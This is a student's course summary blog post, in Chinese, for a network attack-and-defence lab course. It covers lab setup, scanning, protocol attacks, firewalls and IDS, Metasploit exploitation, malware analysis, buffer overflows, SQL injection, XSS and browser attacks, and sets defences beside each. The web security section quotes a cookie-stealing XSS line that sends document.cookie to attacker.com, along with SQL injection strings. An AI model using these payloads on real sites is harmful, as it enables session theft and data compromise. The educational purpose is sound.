NukeSong

导航

20252801-2025-2026-2-《网络攻防实践》课程总结

一、内容总结

第1次实践:环境搭建

利用提供的虚拟机镜像和VMware Workstations软件,在自己的笔记本电脑上部署一套个人版网络攻防实践环境,至少包括一台攻击机(BT5R3、WinXPattacker、SEEDUbuntu9)、两台靶机(Metasploitable_ubuntu、Win2kServer_SP0_target)和蜜网网关(HoneyWall Roo),并进行网络连通性测试,确保各个虚拟机能够正常联通。本次实验是后续所有攻防实践的基础。

参考链接: 第1次实践博客

第2次实践:网络信息收集

对DNS域名进行查询,收集DNS注册人及联系方式、该域名对应IP地址等信息。使用nmap开源软件对靶机环境进行主机发现、端口扫描、操作系统识别和服务版本探测。使用Nessus开源软件对靶机环境进行漏洞扫描。通过搜索引擎搜索自己在网上的足迹,并确认自己是否有隐私和信息泄漏问题。

参考链接: 第2次实践博客

第3次实践:网络嗅探与协议分析

使用tcpdump开源软件对在本机上访问www.163.com网站过程进行嗅探,配合BPF过滤规则精准捕获特定流量。使用Wireshark开源软件对在本机上以TELNET方式登录BBS进行嗅探与协议分析,通过TCP Stream追踪提取明文传输的用户名和密码。取证分析实践,解码网络扫描器(listen.pcap),识别攻击源IP、扫描工具和扫描方法。

参考链接: 第3次实践博客

第4次实践:TCP/IP网络协议攻击

在网络攻防实验环境中完成TCP/IP协议栈重点协议的攻击实验,包括:ARP缓存欺骗攻击(利用ARP无身份验证漏洞,伪造ARP应答包篡改IP-MAC映射,实现中间人攻击)、ICMP重定向攻击(伪造网关ICMP Type5重定向报文,劫持流量)、SYN Flood攻击(利用TCP三次握手半连接队列漏洞,发送大量虚假源IP的SYN包导致拒绝服务)、TCP RST攻击(监听TCP会话并伪造RST包强制断开连接)、TCP会话劫持攻击(通过ARP欺骗嗅探流量获取SEQ/ACK,注入恶意数据包接管会话)。

参考链接: 第4次实践博客

第5次实践:网络安全防范技术

配置Linux操作系统平台上的iptables,设置ICMP包过滤规则、IP白名单规则和默认拒绝策略,深入理解netfilter/iptables的filter表、nat表、mangle表的体系结构。使用Snort对给定pcap文件进行入侵检测,分析报警日志识别端口扫描和ARP欺骗等攻击行为。分析虚拟网络攻防环境中蜜网网关的防火墙(BlackList/WhiteList/FenceList链)和IDS/IPS配置规则(Snort_inline与iptables联动机制)。

参考链接: 第5次实践博客

第6次实践:Windows系统攻防

动手实践Metasploit Windows Attacker:使用Kali攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,通过反向TCP Shell获取目标主机的访问权。取证分析实践:解码一次成功的NT系统破解攻击,还原攻击者利用IIS Unicode编码漏洞进行目录遍历、通过FTP下载恶意工具、窃取SAM口令的完整攻击链路。团队对抗实践:Windows系统远程渗透攻击和分析,攻方通过MS08-067渗透靶机,守方使用Wireshark捕获并还原攻击全流程。

参考链接: 第6次实践博客

第7次实践:Linux系统攻防

使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞(CVE-2007-2447),通过注入Shell命令实现远程代码执行并获取目标Linux靶机的root权限。攻防对抗实践:攻击方使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权并尝试进一步提权;防守方使用Wireshark监听获得网络攻击的数据包文件,结合Wireshark分析攻击过程,获得攻击者IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode以及成功之后在命令行输入的信息。

参考链接: 第7次实践博客

第8次实践:恶意代码分析实践

对提供的rada恶意代码样本,使用file命令和PEiD工具进行文件类型识别,确认RaDa.exe为UPX加壳的PE32可执行文件,使用超级巡警脱壳器完成脱壳,通过strings命令和IDA Pro提取字符串信息,确认编写作者为Raul Siles与David Perez。在WinXP Attacker虚拟机中使用IDA Pro静态或动态分析crackme1.exe和crackme2.exe,通过查看Strings窗口、函数调用图和流程图,寻找特定的输入使其能够输出成功信息。分析一个自制恶意代码样本rada。分析网络数据源中的僵尸网络流量。

参考链接: 第8次实践博客

第9次实践:软件安全攻防——缓冲区溢出和Shellcode

本次实践的对象是一个名为pwn1的Linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段getShell,会返回一个可用Shell,正常情况下不会被运行。实践目标是通过三种方式运行这个代码片段:手工修改二进制文件中CALL指令的操作数、利用foo函数中gets函数的缓冲区溢出漏洞覆盖返回地址、构造包含NOP滑板和自定义Shellcode的完整攻击载荷注入并执行Shellcode。

参考链接: 第9次实践博客

第10次实践:Web应用程序安全攻防

SEED SQL注入攻击与防御实验:对SELECT语句注入实现登录绕过(构造永真条件OR 1=1--),对UPDATE语句注入篡改员工薪资数据;使用参数化查询(Prepared Statement)修复SQL注入漏洞。SEED XSS跨站脚本攻击实验(Elgg):在Elgg平台个人简介中注入JavaScript代码实现弹窗警告、Cookie窃取、自动添加好友(蠕虫传播)、修改用户profile信息;通过HTMLawed安全过滤插件和HttpOnly Cookie防御XSS攻击。

参考链接: 第10次实践博客

第11次实践:浏览器安全攻防实践

Web浏览器渗透攻击:使用攻击机和Windows靶机进行浏览器渗透攻击实验,使用Metasploit的ie_createobject模块针对IE浏览器漏洞发起攻击,体验网页木马构造及实施浏览器攻击的实际过程。取证分析实践:网页木马攻击场景分析,从HTML隐藏iframe追踪到JavaScript加密代码,识别XXTEA+Base64加密算法并解密核心恶意代码,分析其利用多个ActiveX控件漏洞的攻击链路。攻防对抗实践:Web浏览器渗透攻击攻防。

参考链接: 第11次实践博客


二、最喜欢且做得最好的实践是哪次?为什么?

我最喜欢且做得最好的实践是第1次实践——环境搭建

理由如下:

  1. 搭建基础、启蒙意义强:第1次实践是整个网络攻防课程的起点,通过亲手搭建包含攻击机(BT5R3、WinXPattacker、SEEDUbuntu9)、靶机(Metasploitable_ubuntu、Win2kServer_SP0_target)和蜜网网关(HoneyWall Roo)的完整实验环境,让我对网络攻防的基本架构有了直观的认识。理解了攻击机、靶机和网关各自的角色与协作关系,是做网络攻防实践作业的启蒙课程。

  2. 简单易上手,成就感强:相比后续涉及复杂攻击工具和漏洞利用的实验,环境搭建虽然步骤繁多(配置虚拟网卡VMnet8、设置各虚拟机静态IP、部署蜜网网关的三块网卡等),但每一步都有明确的目标和可验证的结果(如ping通测试),完成后的成就感很强,为后续所有实验打下了坚实的基础。

  3. 理论与实践紧密结合:本次实验中,计算机网络课程学到的IP地址规划、子网掩码计算、网关配置等知识点得到了实际应用,让我深刻体会到理论知识的实际价值。特别是排查网络不通的问题时(如IP地址写错导致全网不通),更加理解了网络配置中细节的重要性。

  4. 掌握虚拟化技术:通过本次实验熟练掌握了VMware Workstation的使用,包括虚拟网络编辑器的配置、多网卡设置、虚拟机快照等技能,这些技能在后续所有实验中持续发挥作用。

参考链接: 第1次实践博客


三、本门课学到的知识总结

3.1 环境搭建与虚拟化技术

网络攻防实验环境的组成部分:

  • 靶机:包含系统和应用程序安全漏洞,作为攻击目标的主机。本课程使用了Metasploitable_ubuntu(Linux)和Win2kServer_SP0_target(Windows)两台靶机。
  • 攻击机:安装专用攻击软件,用于发起网络攻击的主机。本课程使用了BT5R3-GNOME-VME-32(Kali Linux前身)、WinXPattacker和SEEDUbuntu9三台攻击机。
  • 攻击检测/分析与防御平台:最佳位置是靶机的网关,基于Linux构建,集成各种软件具备检测、分析与防御功能。本课程使用了HoneyWall蜜网网关(Roo)。
  • 网络连接:通过网络将靶机、攻击机和网关进行连接。本课程使用VMware的VMnet8(NAT模式)和VMnet1(仅主机模式)虚拟网络。

VMware网络模式:

  • 仅主机模式(Host-only):虚拟机之间互通,不连外网,最安全,适合攻防隔离实验。
  • NAT模式:可上外网下载工具,对外隐藏内部拓扑。
  • 桥接模式(Bridge):与物理网同一网段,实验时需谨慎使用,避免影响他人。

蜜网网关技术:蜜网网关通常配置三块网卡,分别连接攻击网段(eth0)、靶机网段(eth1)和管理接口(eth2),实现对攻击流量的监控、捕获和分析,同时通过防火墙规则控制攻击行为不外溢。

3.2 网络信息收集

三大信息收集手段:

  • 网络踩点(Footprinting):通过公开渠道搜集目标信息且不引起警觉,常用工具包括whois、nslookup、dig等。
  • 网络扫描(Scanning):探测目标网络以找出活跃主机、开放端口、操作系统类型及安全弱点。核心工具为Nmap。
  • 网络查点(Enumeration):针对特定服务进行深入信息收集,如用户账号、共享资源等。

Nmap核心扫描技术:

  • 主机发现:nmap -sn(ICMP Ping扫描)、TCP ACK Ping扫描、TCP SYN Ping扫描
  • 端口扫描:nmap -sS(TCP SYN半连接扫描,最常用)、nmap -sT(TCP全连接扫描)
  • 操作系统识别:nmap -O
  • 服务版本探测:nmap -sV

Nessus漏洞扫描:能够全面检测网络设备、操作系统、应用程序及云服务中的已知漏洞,自动生成漏洞报告并给出修复建议。

DNS信息收集:通过nslookup/dig查询域名对应的IP地址(A记录)、邮件服务器(MX记录)、域名服务器(NS记录)等,通过WHOIS查询域名注册人及联系方式。

3.3 网络嗅探与协议分析

tcpdump:基于libpcap的命令行网络数据包捕获工具,配合BPF(Berkeley Packet Filter)过滤规则可精准捕获特定协议、端口、主机的网络流量。常用过滤表达式如tcp[13]&18=2过滤SYN包。

Wireshark:图形化的网络协议分析器,提供协议分层解析、显示过滤器、TCP流追踪(TCP Stream Follow)、统计图表等强大功能,支持数千种协议解析。

网络嗅探原理:在共享网络环境中,网络接口设置为混杂模式(Promiscuous Mode)时可接收所有经过的数据包,嗅探工具利用这一特性捕获网络流量,实现对网络通信的监控和分析。

协议分析原理:不同网络协议有特定的格式和字段,Wireshark等工具通过解析数据包的协议格式,提取源地址、目的地址、数据内容等信息。例如TELNET协议(端口23)以明文传输用户名和口令,通过分析其数据包可直接获取登录凭据,这暴露了明文协议的安全隐患。

网络取证分析:通过分析pcap文件,可识别攻击者IP地址、目标IP和端口、扫描工具类型(如Nmap的SYN扫描特征)、攻击时间线等关键证据。

3.4 TCP/IP网络协议攻击

ARP缓存欺骗攻击

  • 原理:ARP协议无身份验证机制,攻击者伪造ARP应答包,篡改靶机/网关的ARP缓存表中的IP-MAC映射
  • 效果:成为中间人(MITM),实现流量嗅探、劫持、断网
  • 工具:netwox、arpspoof、ettercap

ICMP重定向攻击

  • 原理:伪造网关的ICMP Type5重定向报文,欺骗主机修改本地路由表
  • 效果:将上网流量引流到攻击者主机,劫持监听全网流量
  • 工具:netwox

SYN Flood攻击

  • 原理:利用TCP三次握手半连接队列漏洞,发送大量虚假源IP的SYN包
  • 效果:服务端回SYN+ACK后收不到ACK,半连接资源耗尽,合法用户无法接入,造成拒绝服务(DoS)
  • 工具:netwox、hping3

TCP RST攻击

  • 原理:监听抓取正常TCP会话的四元组(源IP、目的IP、源端口、目的端口)和序列号(SEQ),伪造带RST标志的TCP包
  • 效果:强制断开已建立的合法连接,导致掉线、业务中断
  • 工具:netwox

TCP会话劫持攻击

  • 原理:先通过ARP欺骗做中间人,嗅探TCP流量并获取SEQ/ACK编号,然后伪造注入恶意TCP数据包
  • 效果:接管已登录合法会话,操控通信、窃取权限
  • 工具:ettercap、netwox

3.5 网络安全防范技术

动态安全模型:

  • PDR模型:保护(Protection)- 检测(Detection)- 响应(Response),核心公式为 Pt > Dt + Rt,即防护被突破的时间须大于攻击检测时间加响应时间
  • P2DR/PPDR模型:在PDR基础上增加策略(Policy),以安全策略为核心指导,统筹防护、检测与响应全过程,更适用于企业级安全管理

防火墙技术

  • 定义:置于不同的网络安全域之间,对网络流量或访问行为实施访问控制的安全组件或设备
  • 分类:包过滤防火墙、状态检测防火墙、应用代理防火墙、下一代防火墙(NGFW)

Linux netfilter/iptables防火墙

  • netfilter:Linux内核中实现的防火墙功能模块
  • iptables:应用态的防火墙管理工具
  • 三表五链体系:
    • filter表:负责包过滤(INPUT、OUTPUT、FORWARD链)
    • nat表:负责网络地址转换(PREROUTING、POSTROUTING、OUTPUT链)
    • mangle表:用于特殊目的数据包修改
  • 典型规则:iptables -A INPUT -p icmp -j DROP(丢弃ICMP包)、iptables -P INPUT DROP(设置默认拒绝策略)

Snort入侵检测系统

  • 由Cisco旗下Sourcefire团队开发的开源网络入侵检测/防御系统
  • 三种运行模式:嗅探器模式、流量记录器模式、NIDS网络入侵检测模式
  • 核心机制:基于规则的签名匹配检测,实时流量分析与威胁响应
  • 可通过alert_fast输出报警日志,用于离线pcap分析

蜜网网关防御机制

  • 防火墙规则链:BlackList(黑名单)、WhiteList(白名单)、FenceList(隔离列表)
  • IDS/IPS联动:Snort_inline与iptables联动实现自动阻断
  • 默认DROP策略确保攻击流量不外溢

3.6 Windows系统攻防

Windows远程攻击流程:信息收集 → 扫描 → 漏洞利用 → 权限获取 → 植入后门 → 清理痕迹

核心攻击面:

服务/协议 端口 攻击点与典型漏洞
SMB/NetBIOS 139/445 IPC$、ADMIN$共享;远程口令猜解;MS08-067高危漏洞
MSRPC 135 远程代码执行漏洞频发
IIS 80/443 目录遍历、Unicode编码漏洞、WebDAV漏洞
SQL Server 1433 sa弱口令;xp_cmdshell执行系统命令
远程桌面(RDP) 3389 口令爆破、RDP协议漏洞

Metasploit渗透测试框架

  • 核心模块:exploits(漏洞利用)、payloads(攻击载荷)、auxiliary(辅助模块)、encoders(编码器)、post(后渗透模块)
  • MS08-067漏洞利用流程:use exploit/windows/smb/ms08_067_netapi → 设置RHOST、LHOST → 选择payload(如windows/meterpreter/reverse_tcp)→ exploit

Windows本地攻击

  • 特权提升:利用内核/驱动漏洞(如MS06-049、MS08-066等)从普通用户提至SYSTEM权限
  • 口令窃取与破解:使用pwdump从SAM/内存导出Hash,使用L0phtcrack或John进行破解(LM Hash易被破解)
  • 痕迹清理:关闭审计、清除事件日志、隐藏文件/进程、NTFS流隐藏
  • 后门与远控:命令行后门(netcat、psexec)、图形远控(远程桌面、VNC)、持久化机制(注册表启动项、启动文件夹)

3.7 Linux系统攻防

Linux远程攻防技术:

  • 远程口令猜测攻击:针对SSH(22)、FTP(21)、Telnet(23)等服务暴力破解弱口令
  • 网络服务远程渗透攻击:利用Samba(CVE-2007-2447 usermap_script漏洞)、BIND DNS、Apache/Nginx、vsftpd(2.3.4后门漏洞)、Sendmail等主流服务漏洞
  • 攻击类型:缓冲区溢出、命令注入、权限配置错误

Linux本地安全攻防技术:

  • 本地特权提升(从普通用户提至root):
    • SUID程序漏洞提权
    • 内核漏洞提权
    • 配置错误(sudo、PATH、计划任务)
    • 密码破解(读取/etc/shadow哈希)
  • 敏感信息窃取:/etc/shadow密码哈希、SSH密钥、数据库配置文件、日志文件、历史命令
  • 消踪灭迹:清除登录日志(/var/log/wtmp、/var/log/lastlog)、命令历史(.bash_history)、操作痕迹
  • 远程控制与后门:修改SSH配置、添加隐藏账号、开机自启服务(systemd/init.d)、计划任务(crontab)、反弹Shell、Rootkit隐藏进程

Linux安全防御策略:

  • 最小化安装,关闭无用服务与端口
  • 强化口令策略,禁用root远程登录,使用SSH密钥认证
  • 及时更新内核与软件补丁
  • 严格文件权限管理,禁用危险SUID程序
  • 开启日志审计(rsyslog、auditd),监控异常登录与提权行为
  • 部署iptables防火墙、Snort入侵检测系统

3.8 恶意代码分析

恶意代码分类:

  • 计算机病毒:能自我复制并寄生在其他程序中,通过感染宿主文件传播
  • 蠕虫:能够独立运行并通过网络主动传播,无需宿主文件
  • 木马:伪装成正常程序潜伏在系统中,为攻击者提供远程控制通道
  • 僵尸网络(Botnet):由被植入僵尸程序的大量主机组成的受控网络,攻击者通过C&C服务器集中操控

两大分析方法:

(1) 静态分析(不运行代码)

  • 目标:识别文件类型、提取字符串、查壳、分析代码结构
  • 关键手段:file命令识别文件类型、PEiD检测加壳类型、strings命令提取可打印字符串、UPX/超级巡警脱壳、IDA Pro反汇编/反编译、PE文件结构分析
  • 优势:安全、无风险;劣势:无法获取运行时行为

(2) 动态分析(运行代码)

  • 目标:监控运行行为、网络通信、文件操作、注册表修改、系统调用
  • 关键手段:进程监控(Process Monitor)、网络抓包(Wireshark)、行为沙箱、OllyDbg/x64dbg调试跟踪
  • 优势:获取真实行为;劣势:需要安全隔离环境,部分恶意代码有反调试机制

加壳技术:恶意代码常用对抗静态分析的技术,通过压缩或加密原始PE文件,使其在静态分析时无法直接读取内部信息。常见加壳工具有UPX、ASPack等,脱壳工具包括超级巡警脱壳器、UPX自脱壳等。

分析环境安全:必须使用虚拟机+蜜网隔离环境,防止分析过程中恶意代码感染扩散。

3.9 软件安全攻防——缓冲区溢出和Shellcode

缓冲区溢出核心原理:

  • 攻击前提:程序未对用户输入做长度校验,存在可写入的缓冲区(如gets函数不检查输入长度)
  • 攻击逻辑:构造超长恶意数据,覆盖栈上的函数返回地址;将返回地址篡改为恶意代码(Shellcode)的内存地址;函数执行完毕后跳转到Shellcode执行,获取系统控制权
  • 关键知识:栈结构(缓冲区 → EBP → 函数返回地址)、指令执行流程、内存寻址机制

Shellcode

  • 定义:一段可直接被CPU执行的机器码,通常用于获取目标系统的Shell访问权限
  • 要求:针对目标CPU架构编写、体积精简、无坏字符(如0x00)
  • Linux x86平台:通过系统调用int 0x80sysenter指令实现execve("/bin/sh")获取Shell

NOP滑板(NOP Sled)技术

  • NOP(空操作指令)的机器码为0x90,CPU执行时不做任何操作
  • 在Shellcode前面放置大量NOP指令构成NOP滑板
  • 只要返回地址指向NOP滑板区域中的任意位置,CPU就会"滑行"到Shellcode执行,大幅提高攻击成功率

主流攻击手段:

  • Linux平台栈溢出:定位缓冲区地址,构造payload覆盖返回地址,借助JMP ESP等指令精准跳转
  • Windows平台栈溢出:从系统DLL中查找JMP ESP指令,绕过内存地址随机化的早期限制
  • 堆溢出:针对堆内存的溢出攻击,利用堆管理机制漏洞实现代码执行

缓冲区溢出防御技术:

  • DEP(数据执行保护):禁止栈区执行代码
  • ASLR(地址空间布局随机化):随机化程序内存地址
  • Canary(栈金丝雀):在栈中插入校验值检测溢出
  • 安全编码:严格校验输入长度,禁用strcpy/gets等不安全函数

3.10 Web应用程序安全攻防

SQL注入攻击:

  • 原理:用户输入未过滤,拼接到SQL语句中执行,导致数据库被操控
  • 攻击步骤:判断注入点 → 猜解表名/字段 → 获取数据 → 提权/写文件
  • 攻击类型:联合查询注入、报错注入、布尔盲注、时间盲注、堆叠查询注入
  • 典型攻击语句
    • 登录绕过:Admin' OR 1=1--
    • 数据篡改:', salary='99999(UPDATE注入)
    • UNION查询:' UNION SELECT * FROM credentials--
  • 危害:数据泄露、篡改、删除,服务器权限获取
  • 防御:参数化查询(Prepared Statement)、输入过滤与转义、最小权限原则、Web应用防火墙(WAF)

XSS跨站脚本攻击:

  • 原理:向网页插入恶意脚本,在用户浏览器执行,窃取Cookie、会话、信息
  • 三种类型
    • 反射型XSS:一次性,URL触发
    • 存储型XSS:存入数据库,持久触发(危害最大)
    • DOM型XSS:前端DOM解析触发
  • 典型攻击效果
    • 弹窗警告:<script>alert('XSS')</script>
    • Cookie窃取:<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    • 蠕虫传播:自动发送好友请求的自我复制脚本(模拟Samy Worm)
  • 防御:输入过滤、输出编码、HttpOnly Cookie、CSP(内容安全策略)、HTMLawed等安全过滤插件

3.11 浏览器安全攻防

网页木马(Drive-by Download)攻击原理:

  • 用户打开网页,无需点击或下载,浏览器/插件漏洞自动触发,后台下载并执行木马
  • 核心攻击链路:构造带恶意代码的网页 → 诱导用户访问 → 利用浏览器/插件漏洞执行代码(溢出、UAF、堆喷射)→ 下载远控木马 → 木马开机自启 → 攻击者获得远程控制

常用攻击技术:

  • Heap Spray(堆喷射):在内存中大量分配包含Shellcode的数据块,提高利用成功率
  • Shellcode + ROP:利用Return-Oriented Programming绕过DEP
  • ActiveX控件漏洞利用:利用ADODB.Stream、暴风影音、PPStream、百度搜霸等控件的漏洞

传播方式:黑页挂马、色情站点、软件下载站、论坛、恶意广告

网页木马分析方法:

  • 静态分析:查看网页源码、JS是否加密混淆(如XXTEA+Base64)、是否跳转恶意域名
  • 动态分析:在沙箱中打开网页,抓包查看网络连接、监控文件/注册表/启动项变化
  • 溯源定位:找到恶意脚本入口、漏洞触发点、木马下载地址、自启方式

网页木马防护措施:

  • 及时安装系统补丁和浏览器更新
  • 减少插件安装,禁用不常用插件(Flash、PDF、Java风险最高)
  • 开启DEP、ASLR、SafeSEH等系统保护
  • 使用最新版浏览器,开启沙箱和安全模式
  • 安装杀毒软件,开启网页防护,不访问可疑网站

四、课堂的收获与不足

收获

这11次实验做下来,最大的感受就是"纸上得来终觉浅"。以前在课本上学TCP三次握手、栈帧结构、SQL语法这些东西,背得滚瓜烂熟但总觉得隔了一层。真正上手之后,用SYN Flood把靶机打瘫的那一刻,才彻底明白半连接队列是怎么回事;亲手在pwn1程序里把返回地址改掉让程序跳去执行getShell的时候,栈溢出的原理一下子就通了。从最开始配IP都能把192.168写成198.186导致全网不通,到后来能独立搭环境、跑Metasploit、分析恶意代码、写SQL注入和XSS的攻击语句,整个过程就像拼图一样,一块一块把网络攻防的完整图景拼了起来。而且这门课让我慢慢养成了攻防两面看的习惯——每次做完攻击实验,都会回头想想如果我是防守方该怎么堵这个口子,这种思维方式可能是这学期最大的收获。

不足

回过头来看,这学期也有不少做得不够的地方。一个是原理挖得还不够深,很多实验跟着教程一步步敲下来,虽然结果出来了,但对于底层到底发生了什么——比如Shellcode的机器码是怎么写出来的、栈上每个字节是怎么被覆盖的——有时候还是一知半解,后面得抽时间补补操作系统和编译原理的基础。再就是动手量还是少了点,课上的靶机都是提前配好的,漏洞也明摆着告诉你是哪个,真要扔到一个完全陌生的环境里自己去踩点、扫描、找漏洞,估计还差得远,打算之后找个CTF平台或者靶场多练练。另外感觉自己攻防两边不太平衡,攻击那套比较熟,Metasploit跑得飞起,但一说到写Snort规则、配iptables策略这些防御的活就有点手生,这个短板得补上。还有一点就是课程用的环境确实有点老了,Windows 2000、BackTrack 5这些都快成古董了,虽然学经典漏洞没啥问题,但现在的系统防护机制比当年强太多了,以后还得自己跟进学学现代的东西。

posted on 2026-06-03 16:04  琴雇  阅读(1)  评论(0)    收藏  举报